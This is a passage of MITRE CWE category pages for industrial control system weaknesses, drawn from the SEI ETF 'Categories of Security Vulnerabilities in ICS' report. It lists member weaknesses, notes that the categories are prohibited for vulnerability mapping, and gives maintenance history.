HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 269 Improper Privilege Management
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 349 Acceptance of Extraneous Untrusted Data With Trusted Data
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 807 Reliance on Untrusted Inputs in a Security Decision
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Trust Model Problems. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Engineering (Constructions/Deployment)

Category ID: 1362
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "ICS Engineering (Constructions/Deployment)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1358 Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1373 ICS Engineering (Construction/Deployment): Trust Model Problems
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1374 ICS Engineering (Construction/Deployment): Maker Breaker Blindness
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1375 ICS Engineering (Construction/Deployment): Gaps in Details/Data
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1376 ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1377 ICS Engineering (Construction/Deployment): Inherent Predictability in Design
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Operations (& Maintenance)

Category ID: 1363
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "ICS Operations (& Maintenance)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1358 Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1378 ICS Operations (& Maintenance): Gaps in obligations and training
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1379 ICS Operations (& Maintenance): Human factors in ICS environments
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1380 ICS Operations (& Maintenance): Post-analysis changes
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1381 ICS Operations (& Maintenance): Exploitable Standard Operational Procedures
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1383 ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements

Category ID: 1383
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Compliance/Conformance with Regulatory Requirements" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The ICS environment faces overlapping regulatory regimes and authorities with multiple focus areas (e.g., operational resiliency, physical safety, interoperability, and security) which can result in cyber security vulnerabilities when implemented as written due to gaps in considerations, outdatedness, or conflicting requirements." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1363 ICS Operations (& Maintenance)
HasMember PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 710 Improper Adherence to Coding Standards
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This entry might be subject to CWE Scope Exclusions SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear) and/or SCOPE.HUMANPROC (Human/organizational process).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Compliance/Conformance with Regulatory Requirements. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Maintenance_Notes, Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Operations (& Maintenance): Emerging Energy Technologies

Category ID: 1382
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Emerging Energy Technologies" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "With the rapid evolution of the energy system accelerated by the emergence of new technologies such as DERs, electric vehicles, advanced communications (5G+), novel and diverse challenges arise for secure and resilient operation of the system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1363 ICS Operations (& Maintenance)
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 20 Improper Input Validation
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 285 Improper Authorization
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 295 Improper Certificate Validation
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 296 Improper Following of a Certificate's Chain of Trust
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 346 Origin Validation Error
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 406 Insufficient Control of Network Message Volume (Network Amplification)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 601 URL Redirection to Untrusted Site ('Open Redirect')
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Emerging Energy Technologies. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Maintenance_Notes, Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Operations (& Maintenance): Exploitable Standard Operational Procedures

Category ID: 1381
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Exploitable Standard Operational Procedures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Standard ICS Operational Procedures developed for safety and operational functionality in a closed, controlled communications environment can introduce vulnerabilities in a more connected environment." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1363 ICS Operations (& Maintenance)
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This entry might be subject to CWE Scope Exclusions SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear) and/or SCOPE.HUMANPROC (Human/organizational process).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Exploitable Standard Operational Procedures. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Maintenance_Notes, Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Operations (& Maintenance): Gaps in obligations and training

Category ID: 1378
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Gaps in obligations and training" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "OT ownership and responsibility for identifying and mitigating vulnerabilities are not clearly defined or communicated within an organization, leaving environments unpatched, exploitable, and with a broader attack surface." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1363 ICS Operations (& Maintenance)
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1261] Sam Weber, Paul A. Karger and Amit Paradkar. "A Software Flaw Taxonomy: Aiming Tools At Security". 2005. <https://cwe.mitre.org/documents/sources/ASoftwareFlawTaxonomy-AimingToolsatSecurity%5BWeber,Karger,Paradkar%5D.pdf>. URL validated: 2024-11-17.
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Gaps in obligations and training. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Maintenance_Notes, Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Operations (& Maintenance): Human factors in ICS environments

Category ID: 1379
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Human factors in ICS environments" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Environmental factors in ICS including physical duress, system complexities, and isolation may result in security gaps or inadequacies in the performance of individual duties and responsibilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1363 ICS Operations (& Maintenance)
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 451 User Interface (UI) Misrepresentation of Critical Information
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 655 Insufficient Psychological Acceptability
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Human factors in ICS environments. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Maintenance_Notes, Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Operations (& Maintenance): Post-analysis changes

Category ID: 1380
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Post-analysis changes" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Changes made to a previously analyzed and approved ICS environment can introduce new security vulnerabilities (as opposed to safety)." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1363 ICS Operations (& Maintenance)
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Post-analysis changes. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Maintenance_Notes, Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Supply Chain

Category ID: 1361
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "ICS Supply Chain" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1358 Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1369 ICS Supply Chain: IT/OT Convergence/Expansion
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1370 ICS Supply Chain: Common Mode Frailties
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1371 ICS Supply Chain: Poorly Documented or Undocumented Features
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1372 ICS Supply Chain: OT Counterfeit and Malicious Corruption
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Supply Chain: Common Mode Frailties

Category ID: 1370
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Common Mode Frailties" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "At the component level, most ICS systems are assembled from common parts made by other companies. One or more of these common parts might contain a vulnerability that could result in a wide-spread incident." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1361 ICS Supply Chain
HasMember VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 329 Generation of Predictable IV with CBC Mode
HasMember PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 664 Improper Control of a Resource Through its Lifetime
HasMember PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
HasMember PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 707 Improper Neutralization
HasMember PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 710 Improper Adherence to Coding Standards
